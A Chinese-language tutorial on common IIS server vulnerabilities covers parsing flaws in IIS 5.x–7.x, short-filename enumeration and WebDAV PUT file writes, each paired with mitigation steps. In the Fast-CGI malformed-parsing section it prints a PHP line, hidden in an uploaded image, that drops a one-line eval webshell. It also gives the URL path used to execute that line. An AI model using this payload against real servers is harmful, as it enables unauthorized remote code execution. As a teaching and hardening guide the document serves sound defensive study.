IIS 服务器常见漏洞

  • 文件解析漏洞
    • 1、目录解析漏洞
    • 2、文件名解析漏洞
    • 3、畸形解析漏洞
  • IIS 短文件漏洞
  • PUT 任意文件写入

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于Windows系统,不适用于其他操作系统。

文件解析漏洞

1、目录解析漏洞

在 IIS5.x/6.0 中,默认会将 **.asp(*.asa、*.cer、*.cdx )目录下的所有文件当成Asp解析。
从应用配置中可以看出,他们都是调用了asp.dll进行的解析。

2、文件名解析漏洞

在 IIS5.x/6.0 中,默认会将 **.asp;(*.asa;.jpg、*.cer;.jpg) 这种格式的文件名,当成Asp解析,是因为服务器默认不解析; 号及其后面的内容,相当于截断。

漏洞修复:

由于微软并不认为这是一个漏洞,也没有推出IIS 6.0的补丁,因此漏洞需要自己修复。

  1. 限制上传目录执行权限,不允许执行脚本。
  2. 不允许新建目录。
  3. 上传的文件需经过重命名(时间戳+随机数+.jpg等) 注:如果攻击者可以控制上传目录,那么攻击者依然可以利用该漏洞。

3、畸形解析漏洞

IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:1.jpg后面加上/.php,会将1.jpg 解析为php文件。
我们可以上传图片马,然后在后面加上.php 或者1.php。可以被解析成PHP文件。
或者我们可以在图片马test.jpg中写入下面的代码:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[pass])?>')?>

上传成功后,直接访问/upload/test.jpg/.php,此时test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

漏洞修复:
配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
修复后:

或者是显示NO input file specified:

IIS 短文件漏洞

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短 文件名的效果。

使用工具检测:
https://github.com/lijiejie/IIS_shortname_Scanner
https://github.com/irsdl/IIS-ShortName-Scanner

修复前:
当访问构造的某个存在的短文件名,会返回404

修复后:
修复前:

修复后:


不同版本的IIS,返回的信息如下:
修复方法:
IIS短文件漏洞局限性

  1. 如果文件名本身太短也是无法猜解的;
  2. 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
  3. 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
  4. 如果文件夹名前6位字符带点".",扫描程序会认为是文件而不是文件夹,最终出现误报;
  5. 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测。
从CMD命令关闭NTFS 8.3文件格式的支持
Windows Server 2003: (1代表关闭,0代表开启)
关闭该功能:fsutil behavior set disable8dot3 1


Windows Server 2008 R2:

查询是否开启短文件名功能:
fsutil 8dot3name query
关闭该功能:
fsutil 8dot3name set 1 不同系统关闭命令稍有区别,该功能默认是开启的. 2)
或从修改注册表关闭NTFS 8.3文件格式的支持
快捷键Win+R打开命令窗口,输入regedit打开注册表窗口
找到路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,
将其中的 NtfsDisable8dot3NameCreation这一项的值设为 1,1代表不创建短文件 名格式

以上两种方式修改完成后,均需要重启系统生效。
Note:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。
例:将web文件夹的内容拷贝到另一个位置,如c:\www到c:\ww,然后删除原文件夹,再重命名c:\ww到c:\www。

PUT 任意文件写入

IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入。
开启WebDAV 后:
开启写入权限后,可以成功写入:
关闭后WebDAV 、写入权限之后:
漏洞修复:
关闭WebDAV 和 写权限

IIS 服务器常见漏洞相关推荐

  1. 【IIS服务器】IIS服务器常见漏洞

    文件解析漏洞 1.目录解析漏洞 2.文件名解析漏洞 3.畸形解析漏洞 IIS 短文件漏洞 PUT 任意文件写入 IIS是Internet Information Services的缩写,意为互联网信息 ...

  2. ftp服务器文件有漏洞,ftp服务器常见漏洞

    ftp服务器常见漏洞 内容精选 换一换 该任务指导用户通过漏洞扫描服务创建扫描任务.已获取管理控制台的登录帐号与密码.域名的认证状态为已认证.如果您的网站设置了防火墙或其他安全策略,将导致VSS的扫描 ...

  3. httpd服务器常见漏洞修复,网站安全监测以及漏洞修复过程

    删除Tomcat 中的doc.manager目录,或者权限设置,禁止对外开发该目录和访问该服务. 仅允许访问控制中选择的.受信任的域允许源头. a.设置登录验证码防止爆破,但设计不好的验证码是可以绕过 ...

  4. httpd服务器常见漏洞修复,apache漏洞修复

    1.SSL/TLS存在Bar Mitzvah Attack漏洞 由于apache服务器未安装SSL模块,所以需要在不重新编译apahe的情况下安装mod_ssl模块. 1.0 安装apxs,yum i ...

  5. httpd服务器常见漏洞修复,Apache漏洞修复记录

    一.慢http攻击漏洞 1.在Apache中配置reqtimeout_module设置header和body的最大响应时间. Apache配置 保存后重启Apache. 再进行测试可以看到,受到攻击后 ...

  6. IIS 服务器的安全设置

    IIS 服务器的安全设置 1.IIS 服务器介绍 2.身份验证和访问控制 IIS 的身份验证概述: IIS 身份验证有如下四种: 实际操作: 3.设置单独应用程序 4.限制目录执行权限 5.开启日志审 ...

  7. iis+php解析漏洞修复,服务器解析漏洞分析和漏洞修复方法

    摘要:服务器​解析漏洞主要是一些特殊文件被Apache.IIS.Nginx等服务器的Web容器在某种情况下解释成脚本文件格式并得以执行而产生的漏洞.服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在 ...

  8. iis常见漏洞(中间件常见漏洞)

    目录 1.IIS 6.x 解析漏洞 2. IIS 7.x 解析漏洞 3. HTTP.SYS远程代码执行漏洞MS15-034 4. IIS-PUT任意文件写入 5. 短文件名漏洞 1.IIS 6.x 解 ...

  9. 服务器iis短文件名漏洞,IIS短文件名漏洞分析及一个实例

    漏洞成因 为兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名. 并且在Windows下查看对应的短文件名,可以使用命令 dir /x. 此 ...

最新文章

  1. 终于有人把计算机视觉讲明白了 。。。
  2. linux启动java jar文件_推荐:Linux启动Java程序jar包Shell脚本
  3. .Net Discovery系列之十一-深入理解平台机制与性能影响 (中)
  4. MySQL 中 MyISAM 中的查询为什么比 InnoDB 快?
  5. varchar与varchar2的区别
  6. SAP之成本中心类型与功能范围
  7. oracle 用函数返回对象集合
  8. Ubuntu 16.04 桌面菜单栏 任务栏 标题栏消失的解决办法
  9. LSI最长递增子序列(DP问题)
  10. Android ConstraintLayout布局详解
  11. MATLAB中isempty函数的用法
  12. google官方权限申请库EasyPermissions使用方法
  13. 罗永浩曾想自杀,戴威债务缠身仍不认输......这是无数创业者的生存现状
  14. Swift 下标用法
  15. unity3d中如何将Hierarchy中的物体批量拖到Inspector中的数组中?
  16. 黄陈晨,你可以陪着我么
  17. 推荐电影 经典美剧
  18. 22届春季校招实习试水之路3(前端/后端)
  19. java反编译工具(class转java)
  20. STC15单片机-通过PWM调整灯亮度

热门文章

  1. FastAPI简单示例
  2. Date.getTime() 方法
  3. hide,hidden,display:none,visibility的区别
  4. 幸福工厂超级计算机有什么用,幸福工厂全替换配方简评
  5. 打造任何地方都能使用的markdown写作软件:Typora云端化
  6. python支持复数以及相关的运算吗_python复数运算
  7. 让线程实现暂停,重新启动,停止
  8. Learning to ranking简介
  9. APP性能测试--帧率测试
  10. 如何确定SAP系统的NetWeaver版本、ERP或S/4HANA的版本